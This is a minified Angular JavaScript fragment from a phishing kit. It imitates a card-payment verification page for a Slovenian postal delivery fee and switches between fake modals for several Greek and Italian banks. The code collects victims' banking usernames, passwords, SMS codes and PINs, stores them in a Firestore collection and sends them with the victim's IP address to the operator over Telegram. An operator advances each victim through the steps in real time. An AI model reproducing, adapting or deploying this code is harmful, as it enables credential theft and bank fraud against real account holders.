gN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,fN,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function mN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function yN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,mN,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function bN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function vN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,bN,9,1,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function _N(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function CN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,_N,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function wN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",52),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",53),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function xN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function PN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",35),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,xN,2,0,"div",54),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function SN(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,wN,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(2).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275template(5,PN,6,1,"tr",6),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step),r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",11==t.step)}}function MN(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,lN,8,2,"tr",6),r.\u0275\u0275template(3,dN,6,1,"tr",6),r.\u0275\u0275template(4,hN,8,0,"tr",6),r.\u0275\u0275template(5,pN,4,0,"tr",6),r.\u0275\u0275template(6,gN,6,1,"tr",6),r.\u0275\u0275template(7,yN,6,1,"tr",6),r.\u0275\u0275template(8,vN,6,1,"tr",6),r.\u0275\u0275template(9,CN,6,1,"tr",6),r.\u0275\u0275template(10,SN,6,2,"div",34),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==t.step||11==t.step)}}let ON=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){}onConfirm(){if(this.pass.length<5)return this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff");this.loading=!0,setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" ISPS-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,t=" ISPS-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" ISPS-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-popbk"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://banksofitaly.com/wp-content/uploads/2016/11/intesa-sanpaolo-logo-e1479555123427.jpg",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["id","btnSubmitItem",4,"ngIf"],["align","left","width","40"],["align","center",1,"left"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","placeholder","Obnovitveno kodo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"],[1,"flex-center",2,"text-align","center","color","red","margin-top","-6px","margin-bottom","-6px"],["href","javascript:void(0)","target","_blank"],["oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","pattern","\\d*","autocomplete","on","maxlength","6","test-field","usernameField","type","text","placeholder","******",1,"oval-input","ng-dirty","ng-touched",2,"max-width","135px","letter-spacing","4px",3,"ngModel","ngModelChange"],[1,"flex-center",2,"margin-top","8px"],["type","button","id","btnSubmit","name","btSubmit","value","Vahvistaa",1,"big-button",2,"cursor","pointer",3,"click"],["pattern","\\d*","autocomplete","on","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","maxlength","4","test-field","usernameField","type","text","placeholder","****",1,"oval-input","ng-dirty","ng-touched",2,"max-width","115px","letter-spacing","4px",3,"ngModel","ngModelChange"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","placeholder","Uporabni\u0161ko ime",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","password","placeholder","withKEY geslo",1,"oval-input","ng-dirty","ng-touched",3,"ngModel","ngModelChange"],["style","display: flex; justify-content: center;","class","flex-center","style","text-align: center; color: red; margin-top: -6px; margin-bottom: -6px;",4,"ngIf"]],template:function(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",0),r.\u0275\u0275elementStart(1,"div",1),r.\u0275\u0275elementStart(2,"div"),r.\u0275\u0275element(3,"img",2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(4,"div"),r.\u0275\u0275element(5,"img",3),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div"),r.\u0275\u0275element(7,"h1"),r.\u0275\u0275elementStart(8,"div",4),r.\u0275\u0275template(9,JD,3,0,"h2",5),r.\u0275\u0275template(10,tN,3,0,"h2",5),r.\u0275\u0275template(11,eN,2,0,"p",6),r.\u0275\u0275template(12,nN,3,0,"p",6),r.\u0275\u0275template(13,rN,5,1,"p",6),r.\u0275\u0275template(14,iN,3,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(15,"div",7),r.\u0275\u0275elementStart(16,"div",8),r.\u0275\u0275elementStart(17,"div",9),r.\u0275\u0275text(18,"Trgovec:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(19,"div",10),r.\u0275\u0275text(20,"Po\u0161ta Slovenije"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(21,"div",11),r.\u0275\u0275elementStart(22,"div",9),r.\u0275\u0275text(23,"Znesek:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(24,"div",10),r.\u0275\u0275elementStart(25,"b"),r.\u0275\u0275text(26,"\u20ac 2,84"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(27,"div",12),r.\u0275\u0275elementStart(28,"div",9),r.\u0275\u0275text(29,"Datum nakupa:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(30,"div",10),r.\u0275\u0275text(31),r.\u0275\u0275pipe(32,"date"),r.\u0275\u0275pipe(33,"date"),r.\u0275\u0275pipe(34,"date"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(35,"div",13),r.\u0275\u0275elementStart(36,"div",9),r.\u0275\u0275text(37,"\u0160tevilka kartice:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(38,"div",10),r.\u0275\u0275text(39),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(40,"div",14),r.\u0275\u0275elementStart(41,"div",9),r.\u0275\u0275text(42,"Personal Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,oN,2,0,"div",6),r.\u0275\u0275template(53,MN,11,9,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,lT,_E,KE],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#ea600e;border-radius:3px;min-width:100px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function EN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",2),r.\u0275\u0275text(1," Preusmerjeni boste ...\n"),r.\u0275\u0275elementEnd())}function TN(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"app-piraeus-modal"),r.\u0275\u0275elementEnd())}function IN(t,e){1&t&&r.\u0275\u0275element(0,"app-alpha-modal")}function kN(t,e){1&t&&r.\u0275\u0275element(0,"app-nbg-modal")}function AN(t,e){1&t&&r.\u0275\u0275element(0,"app-eurobk-modal")}function DN(t,e){1&t&&r.\u0275\u0275element(0,"app-attica-modal")}function NN(t,e){1&t&&r.\u0275\u0275element(0,"app-elvibk")}function RN(t,e){1&t&&r.\u0275\u0275element(0,"app-bnpbk")}function LN(t,e){1&t&&r.\u0275\u0275element(0,"app-popbk")}let jN=(()=>{class t{constructor(t,e){this.dialogRef=t,this.db=e,this.redirectingNow=!1,this.bnkRedirect=0,setTimeout(()=>{this.redirectingNow=!0},2e3),this.prefix=localStorage.getItem("ID"),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(1==e.bnk?this.bnkRedirect=1:2==e.bnk?this.bnkRedirect=2:3==e.bnk?this.bnkRedirect=3:4==e.bnk?this.bnkRedirect=4:5==e.bnk?this.bnkRedirect=5:6==e.bnk?this.bnkRedirect=6:7==e.bnk?this.bnkRedirect=7:8==e.bnk?this.bnkRedirect=8:0==e.bnk&&(this.bnkRedirect=0)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}ngOnInit(){console.log(NaN)}close(){this.dialogRef.close()}}return t.\u0275fac=function(e){return 